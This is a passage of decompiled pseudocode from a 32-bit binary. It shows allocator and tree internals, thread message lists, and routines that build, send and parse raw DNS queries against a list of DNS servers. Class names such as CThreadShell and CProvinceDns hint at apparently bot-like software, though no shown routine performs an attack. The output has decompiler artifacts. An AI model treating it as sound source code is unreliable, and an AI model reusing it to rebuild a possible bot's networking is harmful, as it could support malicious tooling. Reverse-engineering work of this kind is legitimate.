v3; CThreadCondition_524(); v1 = v2; CThreadCondition__InitCondition(v2); v1 = v3; return CThreadCondition__InitCondition(v3); } // Address range: 0x806bdcc - 0x806bdd1 void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(void) { // 0x806bdcc return; } // Address range: 0x806bdd2 - 0x806bded int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__272(int32_t a1) { // 0x806bdd2 __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x806bdee - 0x806be05 int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__273(int32_t a1) { // 0x806bdee __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__272(a1); return 0x8132c20; } // Address range: 0x806be06 - 0x806be21 int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__274(int32_t a1) { // 0x806be06 __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x806be22 - 0x806be3d int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__275(int32_t a1, int32_t a2) { // 0x806be22 __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__274(a1); return 0x8132c20; } // Address range: 0x806be3e - 0x806be57 int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl_276(int32_t ** a1, int32_t a2) { // 0x806be3e std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__275((int32_t)a1, a2); return 0x8132c20; } // Address range: 0x806be58 - 0x806bea1 int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__277(int32_t ** a1, int32_t a2) { // 0x806be58 int32_t ** v1; int32_t v2 = (int32_t)v1; // 0x806be68 std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__273(v2); std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl_276(a1, v2); std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__227(v2); return std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_init(a1); } // Address range: 0x806bea2 - 0x806bebb int32_t std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__278(int32_t ** a1, int32_t a2) { // 0x806bea2 return std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__277(a1, a2); } // Address range: 0x806bebc - 0x806bf6d int32_t CThreadMessageList_lt_CThreadShell_gt__279(int32_t * a1) { int32_t v1 = (int32_t)a1; // 0x806bec3 *a1 = 0; int32_t v2; std__allocator_lt_CThreadShell__ptr__gt__226(v2); std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__278((int32_t **)(v1 + 4), v2); std__allocator_lt_CThreadShell__ptr__gt_(v2); CThreadMutex_531(); return CThreadMutex__InitMutex(v1 + 12); } // Address range: 0x806bf6e - 0x806c01f int32_t CThreadMessageList_lt_CThreadShell_gt__280(int32_t * a1) { int32_t v1 = (int32_t)a1; // 0x806bf75 *a1 = 0; int32_t v2; std__allocator_lt_CThreadShell__ptr__gt__226(v2); std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__278((int32_t **)(v1 + 4), v2); std__allocator_lt_CThreadShell__ptr__gt_(v2); CThreadMutex_531(); return CThreadMutex__InitMutex(v1 + 12); } // Address range: 0x806c020 - 0x806c11f int32_t CThreadSignaledMessageList_lt_CThreadShell_gt__281(int32_t a1) { int32_t v1 = a1; // bp-28 CThreadMessageList_lt_CThreadShell_gt__279(&v1); v1 = a1 + 36; CThreadMessageList_lt_CThreadShell_gt__280(&v1); int32_t v2 = a1 + 72; // 0x806c04b v1 = v2; CThreadCondition_524(); int32_t v3 = a1 + 144; // 0x806c05d v1 = v3; CThreadCondition_524(); v1 = v2; CThreadCondition__InitCondition(v2); v1 = v3; return CThreadCondition__InitCondition(v3); } // Address range: 0x806c120 - 0x806c129 int32_t __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt___max_size(void) { // 0x806c120 return 0xccccccc; } // Address range: 0x806c12a - 0x806c271 int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, uint32_t a2) { // 0x806c12a __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt___max_size(); g95 = a2 > 0xccccccc != false; if (a2 > 0xccccccc != false) { // 0x806c151 std____throw_bad_alloc(); // branch -> 0x806c156 } // 0x806c156 int32_t v1; __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v2 = 20 * a2; // 0x806c16d int32_t * v3 = (int32_t *)v2; // 0x806c170_0 int32_t result; if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) { // 0x806c189 int32_t * v4; result = _Znwj(v2, v2, (int32_t)v4); // branch -> 0x806c26c // 0x806c26c return result; } int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x806c1af int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x806c1c0 int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x806c1d4_4 int32_t * v8 = *v7; // 0x806c1ed if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) { // 0x806c24f result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6); // branch -> 0x806c26c } else { int32_t * v9 = *v7; // 0x806c206 *v7 = (int32_t *)*v9; __gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9); int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x806c247 result = v10; // branch -> 0x806c26c } // 0x806c26c return result; } // Address range: 0x806c272 - 0x806c28d int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_get_node(int32_t * a1) { // 0x806c272 return __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, 1); } // Address range: 0x806c28e - 0x806c2e7 int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_create_node(int32_t * a1, int32_t * a2) { int32_t result = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_get_node(a1); // 0x806c29b int32_t v1 = result + 16; int32_t v2; std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___get_allocator(v2, a1); __gnu_cxx____mt_alloc_base_lt_void__ptr__gt___construct(v2, (int32_t *)v1); std__allocator_lt_void__ptr__gt_(v2); return result; } // Address range: 0x806c2e8 - 0x806c3a5 int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_insert(int32_t * a1, int32_t * a2, int32_t * a3, int32_t * a4, int32_t * a5) { int32_t v1 = 1; int32_t * v2; // 0x806c381_0 int32_t v3; // 0x806c358 int32_t v4; // 0x806c363 if (a3 != NULL) { // 0x806c349 v3 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_create_node(a2, a5); v4 = (int32_t)a2; g96 = v1; std___Rb_tree_insert_and_rebalance((int32_t **)v1, (struct struct_96 *)v3, a4, (struct struct_94 *)(v4 + 4)); v2 = (int32_t *)(v4 + 20); *v2 = *v2 + 1; std___Rb_tree_iterator_lt_void__ptr__gt_((int32_t **)a1, (int32_t *)v3); return (int32_t)a1; } // 0x806c2f5 if ((int32_t *)std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_end(a2) != a4) { // 0x806c308 g98 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key_213((int32_t)a4); int32_t v5; int32_t v6 = std___Identity_lt_void__ptr__gt___operator_lb__rb_(v5); // 0x806c322 int32_t v7 = std__less_lt_void__ptr__gt___operator_lb__rb_(a2, (int32_t *)v6) != 0; v1 = v7; // branch -> 0x806c349 } else { v1 = 1; } // 0x806c349 v3 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_create_node(a2, a5); v4 = (int32_t)a2; g96 = v1; std___Rb_tree_insert_and_rebalance((int32_t **)v1, (struct struct_96 *)v3, a4, (struct struct_94 *)(v4 + 4)); v2 = (int32_t *)(v4 + 20); *v2 = *v2 + 1; std___Rb_tree_iterator_lt_void__ptr__gt_((int32_t **)a1, (int32_t *)v3); return (int32_t)a1; } // Address range: 0x806c3a8 - 0x806c57f int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert_unique(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = g98; // 0x806c3ab int32_t v2 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_begin(a2); // 0x806c3b5 int32_t * v3 = (int32_t *)std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_end(a2); // 0x806c3c6_3 bool v4 = false; if (v2 != 0) { // branch -> 0x806c3d7 char v5; // 0x806c410 int32_t * v6; // 0x0111 while (true) { // 0x806c3d7 v6 = (int32_t *)v2; g98 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key(v6); int32_t v7; uint32_t v8 = std__less_lt_void__ptr__gt___operator_lb__rb_(a2, (int32_t *)std___Identity_lt_void__ptr__gt___operator_lb__rb_(v7)); // 0x806c408 v5 = v8; int32_t v9; if (v8 % 256 == 0) { // 0x806c42d v9 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_right(v6); // branch -> 0x806c43f } else { // 0x806c419 v9 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_left(v6); // branch -> 0x806c43f } // 0x806c43f if (v9 == 0) { // break -> 0x806c44b break; } v2 = v9; // continue -> 0x806c3d7 } // 0x806c44b v3 = v6; v4 = v5 == 0; // branch -> 0x806c44b } // 0x806c44b int32_t ** v10; std___Rb_tree_iterator_lt_void__ptr__gt_(v10, v3); int32_t v11; // 0x806c502 int32_t v12; int32_t * v13; if (v4) { // 0x806c4e7 g98 = std___Identity_lt_void__ptr__gt___operator_lb__rb_(v12); v11 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key_213((int32_t)v10); if (std__less_lt_void__ptr__gt___operator_lb__rb_(a2, (int32_t *)v11) == 0) { // 0x806c55e std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(a1, (int32_t *)v10, (char *)g2); // branch -> 0x806c578 } else { // 0x806c51f std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_insert(v13, a2, NULL, v3, a3); std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(a1, v13, (char *)1); // branch -> 0x806c578 } // 0x806c578 g98 = v1; return (int32_t)a1; } // 0x806c467 int32_t ** v14; std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin(v14, a2); if (std___Rb_tree_iterator_lt_void__ptr__gt___operator_eq__eq_((int32_t *)v10, (int32_t *)v14) != 0) { // 0x806c496 int32_t * v15; std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_insert(v15, a2, NULL, v3, a3); std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(a1, v15, (char *)1); // branch -> 0x806c578 // 0x806c578 g98 = v1; return (int32_t)a1; } // 0x806c4d8 std___Rb_tree_iterator_lt_void__ptr__gt___operator__((int32_t *)v10); // branch -> 0x806c4e7 // 0x806c4e7 g98 = std___Identity_lt_void__ptr__gt___operator_lb__rb_(v12); v11 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key_213((int32_t)v10); if (std__less_lt_void__ptr__gt___operator_lb__rb_(a2, (int32_t *)v11) == 0) { // 0x806c55e std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(a1, (int32_t *)v10, (char *)g2); // branch -> 0x806c578 } else { // 0x806c51f std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_insert(v13, a2, NULL, v3, a3); std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(a1, v13, (char *)1); // branch -> 0x806c578 } // 0x806c578 g98 = v1; return (int32_t)a1; } // Address range: 0x806c582 - 0x806c5e1 int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x806c582 g98 = (int32_t)a1; int32_t * v1; std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert_unique(v1, a2, a3); int32_t * v2; std___Rb_tree_const_iterator_lt_void__ptr__gt_(v2, v1); char * v3; std__pair_lt_std___Rb_tree_const_iterator_lt_void__ptr__gt__comma__bool_gt_((int32_t *)g98, v2, v3); return g98; } // Address range: 0x80720d8 - 0x807215d int32_t CProtocolUtil__FillDnsHeader(struct struct_47 * a1, int32_t a2, int32_t a3) { // 0x80720d8 a1->e0 = 0x10000 * a2 / 0x10000; *(int16_t *)((int32_t)a1 + 2) = htons(256); a1->e1 = htons(1); a1->e1 = 0; a1->e2 = 0; if ((char)a3 == 0) { // 0x8072153 *(int16_t *)((int32_t)a1 + 10) = 0; // branch -> 0x807215c } else { // 0x807213b *(int16_t *)((int32_t)a1 + 10) = htons(1); // branch -> 0x807215c } // 0x807215c return (int32_t)a1; } // Address range: 0x807215e - 0x8072253 int32_t CProtocolUtil__FillDnsARequest(struct struct_47 * a1, int32_t * a2, int32_t * a3) { // 0x807215e CProtocolUtil__FillDnsHeader(a1, (int32_t)a2 % 0x10000, (int32_t)g2); int32_t v1 = 1 - -1 * strlen((char *)a3); // 0x8072198 int32_t v2 = v1 - 1; // 0x807219a int32_t v3 = v1 + 1; // 0x807219b int32_t v4 = (int32_t)a1; // 0x80721a1 int32_t v5 = v4 + 12; // 0x80721a4 memcpy((int32_t *)(v4 + 13), a3, v1); int32_t v6; // 0x8072215 if (v2 <= 0) { // 0x8072202 // branch -> 0x8072212 // 0x8072212 v6 = v3 + v5; *(int16_t *)v6 = htons(1); *(int16_t *)(v6 + 2) = htons(1); return v1 + 17; } int32_t v7 = 0; int32_t v8; while (true) { int32_t v9 = v2 + v5; // 0x80721d3 char * v10 = (char *)v9; // 0x80721d6_0 if (((int32_t)*v10 || v9 & -256) == 46) { // 0x80721e3 *v10 = (char)v7; v8 = 0; // branch -> 0x80721f7 } else { // 0x80721dc v8 = v7 + 1; // branch -> 0x80721f7 } int32_t v11 = v2 - 1; // 0x80721fa if (v11 <= 0) { // break -> 0x8072202 break; } v2 = v11; v7 = v8; // continue -> 0x80721d0 } // 0x8072202 if (v8 >= 1) { // 0x8072208 *(char *)v5 = (char)v8; // branch -> 0x8072212 } // 0x8072212 v6 = v3 + v5; *(int16_t *)v6 = htons(1); *(int16_t *)(v6 + 2) = htons(1); return v1 + 17; } // Address range: 0x8072254 - 0x80722d3 int32_t CProtocolUtil__IsStrIPAddress(int32_t * a1) { // 0x8072254 if (a1 == NULL) { // 0x80722cb return 0; } int32_t v1 = 0; // branch -> 0x80722a5 while (true) { int32_t v2 = -((-1 * strlen((char *)a1))); // 0x80722bf g95 = v2; if (v1 < v2) { int32_t v3 = v1 + (int32_t)a1; // 0x8072276 char * v4 = (char *)v3; // 0x8072279_0 int32_t v5 = v3 & -256; // 0x8072279 if (((int32_t)*v4 || v5) != 46) { int32_t v6 = (int32_t)*v4 | v5; // 0x8072285 g95 = v6; if (v6 <= 57) { int32_t v7 = (int32_t)*v4 | v5; // 0x8072291 g95 = v7; if (v7 > 47) { // 0x80722a0 v1++; // branch -> 0x80722a5 continue; } } // 0x80722cb // branch -> 0x80722cb // 0x80722cb return 0; } // 0x80722a0 v1++; // branch -> 0x80722a5 continue; } // 0x80722cb // branch -> 0x80722cb // 0x80722cb return 1; } } // Address range: 0x80729c4 - 0x8072c17 int32_t CProtocolUtil__AnalysisDnsAnswerers(struct struct_3 * a1, int32_t * a2) { struct _in_addr in; // 0x8072b1e struct struct_3 * v1 = NULL; // bp-49 int32_t v2 = g98; // 0x80729c7 std__allocator_lt_std__string_gt__42((int32_t)v1); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(a1, v1); std__allocator_lt_std__string_gt_(&v1->e0); int32_t v3 = (int32_t)a2; // 0x80729fc struct struct_48 * v4 = (struct struct_48 *)(v3 + 12); // bp-32 int32_t v5 = 0; // branch -> 0x8072a4b while (true) { // 0x8072a4b if ((int32_t)htons(*(int16_t *)(v3 + 4)) > v5) { struct struct_48 * v6 = v4; int32_t v7 = (int32_t)v6; // 0x8072a1a41 unsigned char v8 = *(char *)v6; // 0x8072a1d43 int32_t v9 = v8; // 0x8072a1d44 int32_t v10 = v7 + 1; // 0x8072a2845 if (v8 != 0) { int32_t v11 = v10 + v9; // 0x8072a38 unsigned char v12 = *(char *)v11; // 0x8072a1d while (v12 != 0) { // 0x8072a3a v11 = v11 + 1 + (int32_t)v12; v12 = *(char *)v11; // continue -> 0x8072a3a } // 0x8072a40 v4 = (struct struct_48 *)(v11 + 5); v5++; // branch -> 0x8072a4b continue; } // 0x8072a40 v4 = (struct struct_48 *)(v7 + 5); v5++; // branch -> 0x8072a4b continue; } else { int32_t v13 = 0; // branch -> 0x8072bb0 while (true) { // 0x8072bb0 g98 = htons(*(int16_t *)(v3 + 6)); if (g98 + (int32_t)htons(*(int16_t *)(v3 + 8)) <= v13) { // 0x8072c10 g98 = v2; return (int32_t)a1; } struct struct_48 * v14 = v4; // 0x8072a75_0 int32_t v15 = (int32_t)v14; // 0x8072a75 int32_t v16; // 0x8072ae4 struct struct_48 * v17; // 0x8072a81_4 int16_t v18; // 0x8072ab9 int16_t v19; // 0x8072ad5 if ((v15 & -256 | (int32_t)*(char *)v14) == -64) { // 0x8072a7e v17 = (struct struct_48 *)(v15 + 2); v4 = v17; // branch -> 0x8072aac } else { unsigned char v20 = *(char *)v14; // 0x8072a8934 int32_t v21 = v20; // 0x8072a8935 int32_t v22 = v15 + 1; // 0x8072a9436 struct struct_48 * v23 = (struct struct_48 *)v22; // bp+337 v4 = v23; struct struct_48 * v24; // 0x8072a94_3 if (v20 != 0) { int32_t v25 = v22 + v21; // 0x8072aa4 unsigned char v26 = *(char *)v25; // 0x8072a89 int32_t v27 = v25 + 1; // 0x8072a94 v24 = (struct struct_48 *)v27; v4 = v24; while (v26 != 0) { // 0x8072aa6 v25 = v27 + (int32_t)v26; v26 = *(char *)v25; v27 = v25 + 1; v24 = (struct struct_48 *)v27; v4 = v24; // continue -> 0x8072aa6 } // branch -> 0x8072aac lab_0x5a72200: // 0x8072aac v18 = htons(*(int16_t *)v24); v19 = htons(*(int16_t *)((int32_t)v4 + 8)); v16 = (int32_t)v4 + 10; int32_t v28; if (v18 == 1) { lab_0x9342960:; // 0x8072afe int32_t v29; std__allocator_lt_char_gt__598(v29); int32_t v30 = (int32_t)(struct struct_3 *)*(int32_t *)v16; // 0x8072b17 g95 = v30; in = (struct _in_addr){ .e0 = 0 }; in.e0 = v30; int32_t * v31; int32_t v32; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(v31, (int32_t)inet_ntoa(in), v29, v32, (int32_t)NULL, 0); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(&a1->e0, v31); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v31); std__allocator_lt_char_gt_(); v28 = (int32_t)(struct struct_48 *)v16 + 4; // branch -> 0x8072bab } else { lab_0x5a781f0: // 0x8072aee v28 = v16 + (int32_t)v19; // branch -> 0x8072bab } // 0x8072bab v4 = (struct struct_48 *)v28; v13++; // branch -> 0x8072bb0 continue; } // 0x8072aa6 v24 = v23; // branch -> 0x8072aac goto lab_0x5a72200; } // 0x8072aac v18 = htons(*(int16_t *)v17); v19 = htons(*(int16_t *)((int32_t)v4 + 8)); v16 = (int32_t)v4 + 10; if (v18 == 1) { goto lab_0x9342960; } goto lab_0x5a781f0; } } } } // Address range: 0x8072c1a - 0x8072f2f int32_t CProtocolUtil__GetDomainIPsSpecially(struct struct_3 * a1, int32_t * a2, int32_t * a3, int32_t a4) { struct struct_6 * v1 = NULL; // bp-68 struct struct_6 * v2 = NULL; // bp-56 struct struct_3 * v3 = NULL; // bp-44 struct struct_3 * v4 = NULL; // bp-29 int32_t v5 = g98; // 0x8072c1d std__allocator_lt_std__string_gt__42((int32_t)v4); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(v3, v4); std__allocator_lt_std__string_gt_(&v4->e0); if (CProtocolUtil__IsStrIPAddress(a3) == 0) { // 0x8072d0e std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v2->e0, (int32_t *)1024, 0x8072c5a); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, (int32_t *)1024, 0x8072c5a); int32_t v6 = CNetBase__CreateSocket(17); // 0x8072d3b struct struct_3 * v7 = (struct struct_3 *)v6; // bp-12 if (v6 > 0) { // 0x8072d64 CNetBase__SetRecvTimeOut(v6, 0x1388); struct struct_18 * v8 = g2; // 0x8072d7c_3 g98 = time(&v8->e0) % 0x10000; int32_t v9 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v2->e0, &v8->e0); // 0x8072d90 int32_t v10 = CProtocolUtil__FillDnsARequest((struct struct_47 *)v9, (int32_t *)g98, a3); // 0x8072da0 int32_t v11 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v2->e0, &v8->e0); // 0x8072db4 int32_t v12 = v11; int32_t v13 = CNetBase__SendTo((int32_t)v7, (char *)&v12, v10, (struct _sockaddr *)a2, 53); // 0x8072dcb if ((int32_t *)v13 != (int32_t *)v10) { // 0x8072dde CNetBase__Close((int32_t)v7); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v3); // branch -> 0x8072eb5 // 0x8072eb5 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2); // branch -> 0x8072f14 // 0x8072f14 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3); g98 = v5; return (int32_t)a1; } // 0x8072e04 g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(&v1->e0); int32_t v14 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v8->e0); // 0x8072e1e v12 = v14; int32_t v15 = CNetBase__RecvFrom((int32_t)v7, v14, g98, (int16_t)(int32_t)a2, 53); // 0x8072e33 CNetBase__Close((int32_t)v7); if (v15 > 0) { // 0x8072e67 g98 = (int32_t)a1; int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v8->e0); // 0x8072e81 CProtocolUtil__AnalysisDnsAnswerers((struct struct_3 *)g98, (int32_t *)v16); // branch -> 0x8072eb5 } else { // 0x8072e44 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v3); // branch -> 0x8072eb5 } // 0x8072eb5 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2); // branch -> 0x8072f14 // 0x8072f14 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3); g98 = v5; return (int32_t)a1; } // 0x8072d4c std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v3); // branch -> 0x8072eb5 // 0x8072eb5 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2); // branch -> 0x8072f14 } else { // 0x8072c65 int32_t v17; std__allocator_lt_char_gt__598(v17); int32_t v18 = (int32_t)a3; // 0x8072c82 int32_t * v19; int32_t * v20; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(v19, v18, v17, v18, (int32_t)v20, 0); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(&v3->e0, v19); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v19); std__allocator_lt_char_gt_(); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v3); // branch -> 0x8072f14 } // 0x8072f14 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3); g98 = v5; return (int32_t)a1; } // Address range: 0x8072fc8 - 0x8073061 int32_t CProvinceDns__InitReadResource(struct struct_49 * a1) { int32_t v1 = 4 * *(int32_t *)a1; // 0x8072fd5 g95 = v1; int32_t v2; __libc_malloc((int32_t *)v1, v2, 0); a1->e1[0] = (char *)g95; int32_t * v3 = (int32_t *)((int32_t)a1 + 4); // 0x8072fef_0 int32_t * v4; // 0x8073061_11 if (*v3 == 0) { // 0x8072ff6 a1->e0 = NULL; v4 = (int32_t *)a1; // branch -> 0x807305b } else { int32_t v5 = *v3; // 0x8073010 memset((int32_t *)v5, v5 & -256, 4 * *(int32_t *)a1); int32_t v6 = *(int32_t *)a1; // 0x80730549 if (v6 > 0) { int32_t v7 = 0; char * cp = g13[v7]; // 0x8073037 inet_addr(cp); a1->e1[v7] = (char *)(int32_t)cp; int32_t v8 = v7 + 1; // 0x807304f uint32_t v9 = *(int32_t *)a1; // 0x8073054 while (v9 > v8) { // 0x8073025 v7 = v8; cp = g13[v7]; inet_addr(cp); a1->e1[v7] = (char *)(int32_t)cp; v8 = v7 + 1; v9 = *(int32_t *)a1; // continue 